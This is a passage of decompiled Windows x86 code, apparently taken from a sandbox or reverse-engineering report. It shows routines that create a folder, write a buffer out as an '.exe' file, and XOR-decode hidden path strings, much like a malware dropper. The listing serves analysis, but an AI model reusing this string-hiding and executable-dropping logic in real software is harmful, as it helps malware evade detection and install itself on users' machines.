				struct _SECURITY_ATTRIBUTES* _t1718;
				long _t1719;
				long _t1720;
				void* _t1721;
				void* _t1722;
				DWORD* _t1723;
				void* _t1724;
				DWORD* _t1725;
				void* _t1726;
				intOrPtr* _t1727;
				struct _SECURITY_ATTRIBUTES* _t1732;
				long _t1733;
				void* _t1734;
				signed char _t1735;
				struct _SECURITY_ATTRIBUTES* _t1737;
				struct _SECURITY_ATTRIBUTES* _t1738;
				signed char _t1739;
				void* _t1740;
				struct _SECURITY_ATTRIBUTES* _t1741;
				long _t1743;
				struct _SECURITY_ATTRIBUTES* _t1744;
				struct _SECURITY_ATTRIBUTES* _t1745;
				signed char* _t1746;
				struct _SECURITY_ATTRIBUTES* _t1747;
				long _t1749;
				struct _SECURITY_ATTRIBUTES* _t1750;
				struct _SECURITY_ATTRIBUTES* _t1751;
				long _t1752;
				void* _t1753;
				struct _SECURITY_ATTRIBUTES* _t1756;
				long _t1757;
				struct _SECURITY_ATTRIBUTES* _t1758;
				long _t1759;
				long _t1760;
				void* _t1761;
				void* _t1762;
				DWORD* _t1763;
				void* _t1764;
				DWORD* _t1765;
				void* _t1766;
				struct _SECURITY_ATTRIBUTES* _t1769;
				long _t1770;
				struct _SECURITY_ATTRIBUTES* _t1771;
				long _t1772;
				long _t1773;
				void* _t1774;
				DWORD* _t1775;
				void* _t1776;
				DWORD* _t1777;
				void* _t1778;
				struct _SECURITY_ATTRIBUTES* _t1781;
				struct _SECURITY_ATTRIBUTES* _t1782;
				struct _SECURITY_ATTRIBUTES* _t1783;
				long _t1784;
				long _t1785;
				void* _t1786;
				DWORD* _t1787;
				DWORD* _t1788;
				DWORD* _t1789;
				DWORD* _t1790;
				struct _SECURITY_ATTRIBUTES* _t1793;
				struct _SECURITY_ATTRIBUTES* _t1794;
				struct _SECURITY_ATTRIBUTES* _t1795;
				long _t1796;
				long _t1797;
				void* _t1798;
				DWORD* _t1799;
				DWORD* _t1800;
				DWORD* _t1801;
				void* _t1802;
				char* _t1803;
				void* _t1804;
				void* _t1805;
				void* _t1806;
				void* _t1807;
				long _t1808;
				void* _t1809;
				void* _t1812;
				long _t1813;
				long _t1815;
				void* _t1816;
				signed int _t1819;
				signed int _t1825;
				signed int _t1828;
				signed int _t1830;
				signed int _t1831;
				void* _t1833;
				signed int _t1836;
				void* _t1837;
				void* _t1838;
				signed int _t1844;
				void* _t1845;
				void* _t1846;
				signed char _t1847;
				void* _t1848;
				void* _t1849;
				void* _t1850;
				signed char _t1851;
				void* _t1852;
				void* _t1853;
				signed int _t1854;
				signed char _t1855;
				void* _t1856;
				void* _t1857;
				void* _t1862;
				void* _t1868;
				void* _t1869;
				signed int _t1870;
				void* _t1876;
				char _t1885;
				void* _t1886;
				void* _t1887;
				signed char _t1888;
				void* _t1889;
				void* _t1890;
				signed char _t1891;
				void* _t1892;
				void* _t1893;
				signed char _t1894;
				void* _t1895;

				_t1812 = __esi;
				_t1807 = __edi;
				_t1414 = __ecx;
				_push(__ebx);
				_t1407 = _t1833;
				_t1836 = (_t1833 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t1407 + 4));
				_t1825 = _t1836;
				_push(0xffffffff);
				_push(0x42c6eb);
				_push( *[fs:0x0]);
				_push(_t1407);
				_t1837 = _t1836 - 0x54;
				_push(__esi);
				_t852 =  *0x43d054; // 0x298e9dc2
				_push(_t852 ^ _t1825);
				 *[fs:0x0] =  &_v24;
				_v16 = 1;
				_t856 =  >=  ?  *((void*)(_t1407 + 8)) : _t1407 + 8;
				_t857 = CreateDirectoryA( >=  ?  *((void*)(_t1407 + 8)) : _t1407 + 8, 0); // executed
				if(_t857 != 0 || GetLastError() == 0xb7) {
					_push(_t1414);
					_t858 = E0040C6F0( &_v108, _t1407 + 8);
					_v16 = 2;
					_t859 = E0040C910( &_v84, _t858, _t1407 + 0x20);
					_t1838 = _t1837 + 8;
					_t1418 = _t859;
					_v16 = 3;
					_t1813 =  *(_t1418 + 0x14);
					_t1651 =  *(_t1418 + 0x10);
					if(_t1813 - _t1651 < 4) {
						_v33 = 0;
						_t1418 = E00402990(_t1407, _t1418, _t1807, _t1813, 4, _v33, ".exe", 4);
					} else {
						 *(_t1418 + 0x10) =  &(_t1651->lpSecurityDescriptor);
						_t1404 = _t1418;
						if(_t1813 >= 0x10) {
							_t1404 =  *_t1418;
						}
						 *((intOrPtr*)(_t1404 + _t1651)) = 0x6578652e;
						 *((char*)(_t1404 +  &(_t1651->lpSecurityDescriptor))) = 0;
					}
					asm("movups xmm0, [ecx]");
					asm("movups [ebp-0x30], xmm0");
					asm("movq xmm0, [ecx+0x10]");
					asm("movq [ebp-0x20], xmm0");
					 *(_t1418 + 0x10) = 0;
					 *(_t1418 + 0x14) = 0xf;
					 *_t1418 = 0;
					_t864 =  >=  ? _v60 :  &_v60;
					_t865 = E00413CDD( >=  ? _v60 :  &_v60, "wb"); // executed
					_t1652 = _v40;
					_t1837 = _t1838 + 8;
					_t1812 = _t865;
					if(_t1652 < 0x10) {
						L11:
						_t1653 = _v64;
						_v44 = 0;
						_v40 = 0xf;
						_v60 = 0;
						if(_t1653 < 0x10) {
							L15:
							_t1654 = _v88;
							_v68 = 0;
							_v64 = 0xf;
							_v84 = 0;
							if(_t1654 < 0x10) {
								L19:
								_v92 = 0;
								_v88 = 0xf;
								_v108 = 0;
								_t1919 = _t1812;
								if(_t1812 == 0) {
									goto L21;
								} else {
									E00418588(_t1407, _t1807, _t1812, 0x43daa0, "true", 0x12000, _t1812); // executed
									_push(_t1812);
									E00413EFD(_t1407, _t1807, _t1812, _t1919);
									_t1837 = _t1837 + 0x14;
									_v29 = 1;
								}
								goto L22;
							} else {
								_t1646 = _v108;
								_t1804 = _t1654 + 1;
								_t1390 = _t1646;
								if(_t1804 < 0x1000) {
									L18:
									_push(_t1804);
									E0040ED7F(_t1646);
									_t1837 = _t1837 + 8;
									goto L19;
								} else {
									_t1421 =  *(_t1646 - 4);
									_t1657 = _t1804 + 0x23;
									if(_t1390 - _t1421 + 0xfffffffc > 0x1f) {
										goto L31;
									} else {
										goto L18;
									}
								}
							}
						} else {
							_t1647 = _v84;
							_t1805 = _t1653 + 1;
							_t1395 = _t1647;
							if(_t1805 < 0x1000) {
								L14:
								_push(_t1805);
								E0040ED7F(_t1647);
								_t1837 = _t1837 + 8;
								goto L15;
							} else {
								_t1421 =  *(_t1647 - 4);
								_t1657 = _t1805 + 0x23;
								if(_t1395 - _t1421 + 0xfffffffc > 0x1f) {
									goto L31;
								} else {
									goto L14;
								}
							}
						}
					} else {
						_t1648 = _v60;
						_t1806 = _t1652 + 1;
						_t1399 = _t1648;
						if(_t1806 < 0x1000) {
							L10:
							_push(_t1806);
							E0040ED7F(_t1648);
							_t1837 = _t1837 + 8;
							goto L11;
						} else {
							_t1421 =  *(_t1648 - 4);
							_t1657 = _t1806 + 0x23;
							if(_t1399 - _t1421 + 0xfffffffc > 0x1f) {
								L31:
								E004134A7(_t1407, _t1657, __eflags);
								goto L32;
							} else {
								goto L10;
							}
						}
					}
				} else {
					L21:
					_v29 = 0;
					L22:
					_t1655 =  *(_t1407 + 0x1c);
					if(_t1655 < 0x10) {
						L26:
						_t1656 =  *((intOrPtr*)(_t1407 + 0x34));
						 *(_t1407 + 0x18) = 0;
						 *(_t1407 + 0x1c) = 0xf;
						 *((char*)(_t1407 + 8)) = 0;
						if(_t1656 < 0x10) {
							L30:
							 *[fs:0x0] = _v24;
							return _v29;
						} else {
							_t1421 =  *(_t1407 + 0x20);
							_t1657 = _t1656 + 1;
							_t867 = _t1421;
							if(_t1657 < 0x1000) {
								L29:
								_push(_t1657);
								E0040ED7F(_t1421);
								goto L30;
							} else {
								_t1421 =  *(_t1421 - 4);
								_t1657 =  &(_t1657[0x23]);
								if(_t867 - _t1421 + 0xfffffffc > 0x1f) {
									goto L32;
								} else {
									goto L29;
								}
							}
						}
					} else {
						_t1645 =  *((intOrPtr*)(_t1407 + 8));
						_t1803 =  &(1[_t1655]);
						_t1384 = _t1645;
						if(_t1803 < 0x1000) {
							L25:
							_push(_t1803);
							E0040ED7F(_t1645);
							_t1837 = _t1837 + 8;
							goto L26;
						} else {
							_t50 = _t1645 - 4; // 0xffffe6c2
							_t1421 =  *_t50;
							_t1657 =  &(_t1803[0x23]);
							if(_t1384 - _t1421 + 0xfffffffc > 0x1f) {
								L32:
								E004134A7(_t1407, _t1657, __eflags);
								asm("int3");
								asm("int3");
								_push(_t1407);
								_t1409 = _t1837;
								_t1844 = (_t1837 - 0x00000008 & 0xfffffff8) + 4;
								_push(_t1825);
								_v128 =  *((intOrPtr*)(_t1409 + 4));
								_t1828 = _t1844;
								_push(0xffffffff);
								_push(0x42c8c2);
								_push( *[fs:0x0]);
								_push(_t1409);
								_t1845 = _t1844 - 0x1c0;
								_t873 =  *0x43d054; // 0x298e9dc2
								_t874 = _t873 ^ _t1828;
								_v152 = _t874;
								_push(_t1812);
								_push(_t1807);
								_push(_t874);
								 *[fs:0x0] =  &_v144;
								_t1815 = _t1421;
								_v520 = _t1815;
								_v520 = _t1815;
								_v516 = 0;
								_v500 = 0;
								_v496 = 0xf;
								_v516 = 0;
								_v136 = 0;
								_t876 = E004065E0(_t1815); // executed
								__eflags = _t876;
								if(_t876 != 0) {
									E00406760(_t1409,  &_v360, _t1807);
									_v28 = 0x16;
									_t878 = E00417D76( &_v360, __eflags);
									asm("cdq");
									E004055C0( &_v384, _t878 % 0xa + 5);
									_v28 = 0x17;
									_v413 = 0x2e;
									_t1808 =  *( *[fs:0x2c]);
									_t882 =  *0x450f1c; // 0x0
									__eflags = _t882 -  *((intOrPtr*)(_t1808 + 4));
									if(_t882 >  *((intOrPtr*)(_t1808 + 4))) {
										E0040EEC8(_t882, 0x450f1c);
										_t1845 = _t1845 + 4;
										__eflags =  *0x450f1c - 0xffffffff;
										if(__eflags == 0) {
											asm("movaps xmm0, [0x439d70]");
											asm("movups [0x450e3c], xmm0");
											 *0x450e4c = _v413;
											E0040F1DA( &_v384, __eflags, 0x42cf90);
											E0040EE7E(0x450f1c);
											_t1845 = _t1845 + 8;
										}
									}
									_t883 =  *0x450e4c; // 0x0
									__eflags = _t883;
									if(_t883 != 0) {
										asm("movups xmm0, [0x450e3c]");
										asm("movaps xmm1, [0x439d20]");
										asm("pxor xmm1, xmm0");
										 *0x450e4c = _t883 ^ 0x0000002e;
										asm("movups [0x450e3c], xmm1");
									}
									_t1425 = 0x450e3c;
									_v464 = 0;
									_v448 = 0;
									_v444 = 0xf;
									_v464 = 0;
									_t466 = _t1425 + 1; // 0x450e3d
									_t1660 = _t466;
									do {
										_t884 =  *_t1425;
										_t1425 = _t1425 + 1;
										__eflags = _t884;
									} while (_t884 != 0);
									E004026C0(_t1409,  &_v464, 0x450e3c, _t1425 - _t1660);
									_v28 = 0x18;
									_t1661 = _v444;
									_t1428 = _v448;
									__eflags = _t1661 - _t1428 - 1;
									if(_t1661 - _t1428 < 1) {
										_v412 = 0;
										_t888 = E00402990(_t1409,  &_v464, _t1808, _t1815, "true", _v412, "\\", "true");
									} else {
										__eflags = _t1661 - 0x10;
										_v448 = _t1428 + 1;
										_t1147 =  >=  ? _v464 :  &_v464;
										 *((short*)(( >=  ? _v464 :  &_v464) + _t1428)) = 0x5c;
										_t888 =  &_v464;
									}
									_v440 = 0;
									_v424 = 0;
									_v420 = 0;
									asm("movups xmm0, [eax]");
									asm("movups [ebp-0x1a0], xmm0");
									asm("movq xmm0, [eax+0x10]");
									asm("movq [ebp-0x190], xmm0");
									 *(_t888 + 0x10) = 0;
									 *(_t888 + 0x14) = 0xf;
									 *_t888 = 0;
									_v28 = 0x19;
									_t890 = E0040C910( &_v488,  &_v440,  &_v360);
									_t1846 = _t1845 + 4;
									E004024A0(_t1409,  &_v408, _t890);
									_t1663 = _v468;
									__eflags = _t1663 - 0x10;
									if(_t1663 < 0x10) {
										L231:
										_v28 = 0x18;
										_t1664 = _v420;
										_v472 = 0;
										_v468 = 0xf;
										_v488 = 0;
										__eflags = _t1664 - 0x10;
										if(_t1664 < 0x10) {
											L235:
											_v28 = 0x17;
											_t1665 = _v444;
											_v424 = 0;
											_v420 = 0xf;
											_v440 = 0;
											__eflags = _t1665 - 0x10;
											if(_t1665 < 0x10) {
												L239:
												_t1847 = _t1846 - 0x18;
												_v316 = _t1847;
												E0040BB10(_t1409, _t1847, _t1665, _t1808,  &_v384);
												_t1848 = _t1847 - 0x18;
												_v28 = 0x1a;
												_t1433 = _t1848;
												E0040BB10(_t1409, _t1433, _t1665, _t1808,  &_v408);
												_v28 = 0x17;
												_t896 = E00406800(_t1409, _t1433, _t1808, _t1815);
												_t1849 = _t1848 + 0x30;
												__eflags = _t896;
												if(_t896 == 0) {
													_t897 =  *0x450f68; // 0x0
													_v328 = 0x7e72146d;
													_v324 = 0x5c49415c;
													_v320 = 0x4f6a434f;
													_v316 = 0x4f5a;
													_v413 = 0x2e;
													__eflags = _t897 -  *((intOrPtr*)(_t1808 + 4));
													if(_t897 >  *((intOrPtr*)(_t1808 + 4))) {
														E0040EEC8(_t897, 0x450f68);
														_t1849 = _t1849 + 4;
														__eflags =  *0x450f68 - 0xffffffff;
														if(__eflags == 0) {
															asm("movq xmm0, [ebp-0x130]");
															 *0x450d50 = _v320;
															 *0x450d54 = _v316;
															asm("movq [0x450d48], xmm0");
															 *0x450d56 = _v413;
															E0040F1DA(_t1433, __eflags, 0x42cf60);
															E0040EE7E(0x450f68);
															_t1849 = _t1849 + 8;
														}
													}
													__eflags =  *0x450d56;
													if( *0x450d56 != 0) {
														_t1103 = 0;
														__eflags = 0;
														do {
															 *(_t1103 + 0x450d48) =  *(_t1103 + 0x450d48) ^ 0x0000002e;
															_t1103 = _t1103 + 1;
															__eflags = _t1103 - 0xf;
														} while (_t1103 < 0xf);
													}
													_t1434 = 0x450d48;
													_v464 = 0;
													_v448 = 0;
													_v444 = 0xf;
													_v464 = 0;
													_t570 = _t1434 + 1; // 0x450d49
													_t1666 = _t570;
													asm("o16 nop [eax+eax]");
													do {
														_t898 =  *_t1434;
														_t1434 = _t1434 + 1;
														__eflags = _t898;
													} while (_t898 != 0);
													E004026C0(_t1409,  &_v464, 0x450d48, _t1434 - _t1666);
													_v28 = 0x1d;
													_t1667 = _v444;
													_t1437 = _v448;
													__eflags = _t1667 - _t1437 - 1;
													if(_t1667 - _t1437 < 1) {
														_v412 = 0;
														_t902 = E00402990(_t1409,  &_v464, _t1808, _t1815, "true", _v412, "\\", "true");
													} else {
														__eflags = _t1667 - 0x10;
														_v448 = _t1437 + 1;
														_t1102 =  >=  ? _v464 :  &_v464;
														 *((short*)(( >=  ? _v464 :  &_v464) + _t1437)) = 0x5c;
														_t902 =  &_v464;
													}
													_v440 = 0;
													_v424 = 0;
													_v420 = 0;
													asm("movups xmm0, [eax]");
													asm("movups [ebp-0x1a0], xmm0");
													asm("movq xmm0, [eax+0x10]");
													asm("movq [ebp-0x190], xmm0");
													 *(_t902 + 0x10) = 0;
													 *(_t902 + 0x14) = 0xf;
													 *_t902 = 0;
													_v28 = 0x1e;
													_t904 = E0040C910( &_v488,  &_v440,  &_v360);
													_t1850 = _t1849 + 4;
													E004024A0(_t1409,  &_v408, _t904);
													_t1669 = _v468;
													__eflags = _t1669 - 0x10;
													if(_t1669 < 0x10) {
														L277:
														_v28 = 0x1d;
														_t1670 = _v420;
														_v472 = 0;
														_v468 = 0xf;
														_v488 = 0;
														__eflags = _t1670 - 0x10;
														if(_t1670 < 0x10) {
															L281:
															_v28 = 0x17;
															_t1671 = _v444;
															_v424 = 0;
															_v420 = 0xf;
															_v440 = 0;
															__eflags = _t1671 - 0x10;
															if(_t1671 < 0x10) {
																L285:
																_t1851 = _t1850 - 0x18;
																_v316 = _t1851;
																E0040BB10(_t1409, _t1851, _t1671, _t1808,  &_v384);
																_t1852 = _t1851 - 0x18;
																_v28 = 0x1f;
																_t1442 = _t1852;
																E0040BB10(_t1409, _t1442, _t1671, _t1808,  &_v408);
																_v28 = 0x17;
																_t910 = E00406800(_t1409, _t1442, _t1808, _t1815);
																_t1853 = _t1852 + 0x30;
																__eflags = _t910;
																if(_t910 == 0) {
																	_t911 =  *0x450d74; // 0x0
																	_v320 = 0x7a72146d;
																	_v316 = 0x2e5e434b;
																	__eflags = _t911 -  *((intOrPtr*)(_t1808 + 4));
																	if(_t911 >  *((intOrPtr*)(_t1808 + 4))) {
																		E0040EEC8(_t911, 0x450d74);
																		_t1853 = _t1853 + 4;
																		__eflags =  *0x450d74 - 0xffffffff;
																		if(__eflags == 0) {
																			 *0x450d58 = _v320;
																			 *0x450d5c = _v316;
																			E0040F1DA(_v316, __eflags, 0x42cf50);
																			E0040EE7E(0x450d74);
																			_t1853 = _t1853 + 8;
																		}
																	}
																	_t912 =  *0x450d5f; // 0x0
																	__eflags = _t912;
																	if(_t912 != 0) {
																		 *0x450d58 =  *0x450d58 ^ 0x0000002e;
																		 *0x450d59 =  *0x450d59 ^ 0x0000002e;
																		 *0x450d5a =  *0x450d5a ^ 0x0000002e;
																		 *0x450d5b =  *0x450d5b ^ 0x0000002e;
																		 *0x450d5c =  *0x450d5c ^ 0x0000002e;
																		 *0x450d5d =  *0x450d5d ^ 0x0000002e;
																		 *0x450d5e =  *0x450d5e ^ 0x0000002e;
																		_t1056 = _t912 ^ 0x0000002e;
																		__eflags = _t1056;
																		 *0x450d5f = _t1056;
																	}
																	_t1443 = 0x450d58;
																	_v464 = 0;
																	_v448 = 0;
																	_v444 = 0xf;
																	_v464 = 0;
																	_t668 =  &(_t1443[1]); // 0x450d59
																	_t1672 = _t668;
																	do {
																		_t913 =  *_t1443;
																		_t1443 =  &(_t1443[1]);
																		__eflags = _t913;
																	} while (_t913 != 0);
																	E004026C0(_t1409,  &_v464, 0x450d58, _t1443 - _t1672);
																	_v28 = 0x22;
																	_t1673 = _v444;
																	_t1446 = _v448;
																	__eflags = _t1673 - _t1446 - 1;
																	if(_t1673 - _t1446 < 1) {
																		_v412 = 0;
																		_t917 = E00402990(_t1409,  &_v464, _t1808, _t1815, "true", _v412, "\\", "true");
																	} else {
																		__eflags = _t1673 - 0x10;
																		_v448 = _t1446 + 1;
																		_t1055 =  >=  ? _v464 :  &_v464;
																		 *((short*)(( >=  ? _v464 :  &_v464) + _t1446)) = 0x5c;
																		_t917 =  &_v464;
																	}
																	_v440 = 0;
																	_v424 = 0;
																	_v420 = 0;
																	asm("movups xmm0, [eax]");
																	asm("movups [ebp-0x1a0], xmm0");
																	asm("movq xmm0, [eax+0x10]");
																	asm("movq [ebp-0x190], xmm0");
																	 *(_t917 + 0x10) = 0;
																	 *(_t917 + 0x14) = 0xf;
																	 *_t917 = 0;
																	_v28 = 0x23;
																	_t919 = E0040C910( &_v488,  &_v440,  &_v360);
																	_t1854 = _t1853 + 4;
																	E004024A0(_t1409,  &_v408, _t919);
																	_t1675 = _v468;
																	__eflags = _t1675 - 0x10;
																	if(_t1675 < 0x10) {
																		L322:
																		_v28 = 0x22;
																		_t1676 = _v420;
																		_v472 = 0;
																		_v468 = 0xf;
																		_v488 = 0;
																		__eflags = _t1676 - 0x10;
																		if(_t1676 < 0x10) {
																			L326:
																			_v28 = 0x17;
																			_t1677 = _v444;
																			_v424 = 0;
																			_v420 = 0xf;
																			_v440 = 0;
																			__eflags = _t1677 - 0x10;
																			if(_t1677 < 0x10) {
																				L330:
																				_t1855 = _t1854 - 0x18;
																				_v316 = _t1855;
																				E0040BB10(_t1409, _t1855, _t1677, _t1808,  &_v384);
																				_t1856 = _t1855 - 0x18;
																				_v28 = 0x24;
																				_t1451 = _t1856;
																				E0040BB10(_t1409, _t1451, _t1677, _t1808,  &_v408);
																				_v28 = 0x17;
																				_t925 = E00406800(_t1409, _t1451, _t1808, _t1815);
																				_t1857 = _t1856 + 0x30;
																				__eflags = _t925;
																				if(_t925 == 0) {
																					E00402450(_t1409,  &_v384);
																					_v28 = 0;
																					E00402450(_t1409,  &_v360);
																					goto L342;
																				} else {
																					_push(_t1451);
																					_t932 = E0040C6F0( &_v440,  &_v408);
																					_v28 = 0x25;
																					_t933 = E0040C910( &_v488, _t932,  &_v384);
																					_t1854 = _t1857 + 8;
																					_t1463 = _t933;
																					_v28 = 0x26;
																					_t1808 =  *(_t1463 + 0x14);
																					_t1680 =  *(_t1463 + 0x10);
																					__eflags = _t1808 - _t1680 - 4;
																					if(_t1808 - _t1680 < 4) {
																						_v412 = 0;
																						_t1463 = E00402990(_t1409, _t1463, _t1808, _t1815, 4, _v412, ".exe", 4);
																					} else {
																						 *(_t1463 + 0x10) =  &(_t1680->lpSecurityDescriptor);
																						_t1040 = _t1463;
																						__eflags = _t1808 - 0x10;
																						if(_t1808 >= 0x10) {
																							_t1040 =  *_t1463;
																						}
																						 *((intOrPtr*)(_t1040 + _t1680)) = 0x6578652e;
																						 *((char*)(_t1040 +  &(_t1680->lpSecurityDescriptor))) = 0;
																					}
																					 *_t1815 = 0;
																					 *(_t1815 + 0x10) = 0;
																					 *(_t1815 + 0x14) = 0;
																					asm("movups xmm0, [ecx]");
																					asm("movups [esi], xmm0");
																					asm("movq xmm0, [ecx+0x10]");
																					asm("movq [esi+0x10], xmm0");
																					 *(_t1463 + 0x10) = 0;
																					 *(_t1463 + 0x14) = 0xf;
																					 *_t1463 = 0;
																					_t1677 = _v468;
																					__eflags = _t1677 - 0x10;
																					if(_t1677 < 0x10) {
																						L340:
																						_v472 = 0;
																						_v468 = 0xf;
																						_v488 = 0;
																						E00402450(_t1409,  &_v440);
																						E00402450(_t1409,  &_v384);
																						E00402450(_t1409,  &_v360);
																						goto L343;
																					} else {
																						_t1467 = _v488;
																						_t1677 =  &(1[_t1677]);
																						_t940 = _t1467;
																						__eflags = _t1677 - 0x1000;
																						if(_t1677 < 0x1000) {
																							L339:
																							_push(_t1677);
																							E0040ED7F(_t1467);
																							goto L340;
																						} else {
																							_t1467 =  *((intOrPtr*)(_t1467 - 4));
																							_t1677 = _t1677 + 0x23;
																							__eflags = _t940 - _t1467 + 0xfffffffc - 0x1f;
																							if(__eflags > 0) {
																								goto L346;
																							} else {
																								goto L339;
																							}
																						}
																					}
																				}
																			} else {
																				_t1534 = _v464;
																				_t1677 =  &(1[_t1677]);
																				_t1041 = _t1534;
																				__eflags = _t1677 - 0x1000;
																				if(_t1677 < 0x1000) {
																					L329:
																					_push(_t1677);
																					E0040ED7F(_t1534);
																					_t1854 = _t1854 + 8;
																					goto L330;
																				} else {
																					_t1467 =  *((intOrPtr*)(_t1534 - 4));
																					_t1677 = _t1677 + 0x23;
																					__eflags = _t1041 -  *((intOrPtr*)(_t1534 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L329;
																					}
																				}
																			}
																		} else {
																			_t1535 = _v440;
																			_t1699 =  &(_t1676->nLength);
																			_t1045 = _t1535;
																			__eflags = _t1699 - 0x1000;
																			if(_t1699 < 0x1000) {
																				L325:
																				_push(_t1699);
																				E0040ED7F(_t1535);
																				_t1854 = _t1854 + 8;
																				goto L326;
																			} else {
																				_t1467 =  *((intOrPtr*)(_t1535 - 4));
																				_t1677 = _t1699 + 0x23;
																				__eflags = _t1045 -  *((intOrPtr*)(_t1535 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L325;
																				}
																			}
																		}
																	} else {
																		_t1536 = _v488;
																		_t1700 = _t1675 + 1;
																		_t1049 = _t1536;
																		__eflags = _t1700 - 0x1000;
																		if(_t1700 < 0x1000) {
																			L321:
																			_push(_t1700);
																			E0040ED7F(_t1536);
																			_t1854 = _t1854 + 8;
																			goto L322;
																		} else {
																			_t1467 =  *((intOrPtr*)(_t1536 - 4));
																			_t1677 = _t1700 + 0x23;
																			__eflags = _t1049 -  *((intOrPtr*)(_t1536 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L321;
																			}
																		}
																	}
																} else {
																	_push(_t1442);
																	_t1061 = E0040C6F0( &_v440,  &_v408);
																	_v28 = 0x20;
																	_t1062 = E0040C910( &_v488, _t1061,  &_v384);
																	_t1854 = _t1853 + 8;
																	_t1541 = _t1062;
																	_v28 = 0x21;
																	_t1808 =  *(_t1541 + 0x14);
																	_t1703 =  *(_t1541 + 0x10);
																	__eflags = _t1808 - _t1703 - 4;
																	if(_t1808 - _t1703 < 4) {
																		_v412 = 0;
																		_t1541 = E00402990(_t1409, _t1541, _t1808, _t1815, 4, _v412, ".exe", 4);
																	} else {
																		 *(_t1541 + 0x10) =  &(_t1703->lpSecurityDescriptor);
																		_t1087 = _t1541;
																		__eflags = _t1808 - 0x10;
																		if(_t1808 >= 0x10) {
																			_t1087 =  *_t1541;
																		}
																		 *((intOrPtr*)(_t1087 + _t1703)) = 0x6578652e;
																		 *((char*)(_t1087 +  &(_t1703->lpSecurityDescriptor))) = 0;
																	}
																	 *_t1815 = 0;
																	 *(_t1815 + 0x10) = 0;
																	 *(_t1815 + 0x14) = 0;
																	asm("movups xmm0, [ecx]");
																	asm("movups [esi], xmm0");
																	asm("movq xmm0, [ecx+0x10]");
																	asm("movq [esi+0x10], xmm0");
																	 *(_t1541 + 0x10) = 0;
																	 *(_t1541 + 0x14) = 0xf;
																	 *_t1541 = 0;
																	_t1704 = _v468;
																	__eflags = _t1704 - 0x10;
																	if(_t1704 < 0x10) {
																		L295:
																		_t1705 = _v420;
																		_v472 = 0;
																		_v468 = 0xf;
																		_v488 = 0;
																		__eflags = _t1705 - 0x10;
																		if(_t1705 < 0x10) {
																			L299:
																			_t1706 = _v364;
																			_v424 = 0;
																			_v420 = 0xf;
																			_v440 = 0;
																			__eflags = _t1706 - 0x10;
																			if(_t1706 < 0x10) {
																				L303:
																				_t1707 = _v340;
																				_v368 = 0;
																				_v364 = 0xf;
																				_v384 = 0;
																				__eflags = _t1707 - 0x10;
																				if(_t1707 < 0x10) {
																					goto L261;
																				} else {
																					_t1543 = _v360;
																					_t1708 = _t1707 + 1;
																					_t1070 = _t1543;
																					__eflags = _t1708 - 0x1000;
																					if(_t1708 < 0x1000) {
																						L306:
																						_push(_t1708);
																						E0040ED7F(_t1543);
																						_t1854 = _t1854 + 8;
																						_v344 = 0;
																						_v340 = 0xf;
																						_v360 = 0;
																						goto L72;
																					} else {
																						_t1467 =  *((intOrPtr*)(_t1543 - 4));
																						_t1677 = _t1708 + 0x23;
																						__eflags = _t1070 -  *((intOrPtr*)(_t1543 - 4)) + 0xfffffffc - 0x1f;
																						if(__eflags > 0) {
																							goto L346;
																						} else {
																							goto L306;
																						}
																					}
																				}
																			} else {
																				_t1544 = _v384;
																				_t1709 = _t1706 + 1;
																				_t1074 = _t1544;
																				__eflags = _t1709 - 0x1000;
																				if(_t1709 < 0x1000) {
																					L302:
																					_push(_t1709);
																					E0040ED7F(_t1544);
																					_t1854 = _t1854 + 8;
																					goto L303;
																				} else {
																					_t1467 =  *((intOrPtr*)(_t1544 - 4));
																					_t1677 = _t1709 + 0x23;
																					__eflags = _t1074 -  *((intOrPtr*)(_t1544 - 4)) + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						goto L346;
																					} else {
																						goto L302;
																					}
																				}
																			}
																		} else {
																			_t1545 = _v440;
																			_t1710 =  &(_t1705->nLength);
																			_t1078 = _t1545;
																			__eflags = _t1710 - 0x1000;
																			if(_t1710 < 0x1000) {
																				L298:
																				_push(_t1710);
																				E0040ED7F(_t1545);
																				_t1854 = _t1854 + 8;
																				goto L299;
																			} else {
																				_t1467 =  *((intOrPtr*)(_t1545 - 4));
																				_t1677 = _t1710 + 0x23;
																				__eflags = _t1078 -  *((intOrPtr*)(_t1545 - 4)) + 0xfffffffc - 0x1f;
																				if(__eflags > 0) {
																					goto L346;
																				} else {
																					goto L298;
																				}
																			}
																		}
																	} else {
																		_t1546 = _v488;
																		_t1711 = _t1704 + 1;
																		_t1082 = _t1546;
																		__eflags = _t1711 - 0x1000;
																		if(_t1711 < 0x1000) {
																			L294:
																			_push(_t1711);
																			E0040ED7F(_t1546);
																			_t1854 = _t1854 + 8;
																			goto L295;
																		} else {
																			_t1467 =  *((intOrPtr*)(_t1546 - 4));
																			_t1677 = _t1711 + 0x23;
																			__eflags = _t1082 -  *((intOrPtr*)(_t1546 - 4)) + 0xfffffffc - 0x1f;
																			if(__eflags > 0) {
																				goto L346;
																			} else {
																				goto L294;
																			}
																		}
																	}
																}
															} else {
																_t1547 = _v464;
																_t1671 =  &(_t1671->nLength);
																_t1088 = _t1547;
																__eflags = _t1671 - 0x1000;
																if(_t1671 < 0x1000) {
																	L284:
																	_push(_t1671);
																	E0040ED7F(_t1547);
																	_t1850 = _t1850 + 8;
																	goto L285;
																} else {
																	_t1467 =  *((intOrPtr*)(_t1547 - 4));
																	_t1677 = _t1671 + 0x23;
																	__eflags = _t1088 -  *((intOrPtr*)(_t1547 - 4)) + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L346;
																	} else {
																		goto L284;
																	}
																}
															}
														} else {
															_t1548 = _v440;
															_t1712 =  &(_t1670->nLength);
															_t1092 = _t1548;
															__eflags = _t1712 - 0x1000;
															if(_t1712 < 0x1000) {
																L280:
																_push(_t1712);
																E0040ED7F(_t1548);
																_t1850 = _t1850 + 8;
																goto L281;
															} else {
																_t1467 =  *((intOrPtr*)(_t1548 - 4));
																_t1677 = _t1712 + 0x23;
																__eflags = _t1092 -  *((intOrPtr*)(_t1548 - 4)) + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L346;
																} else {
																	goto L280;
																}
															}
														}
													} else {
														_t1549 = _v488;
														_t1713 = _t1669 + 1;
														_t1096 = _t1549;
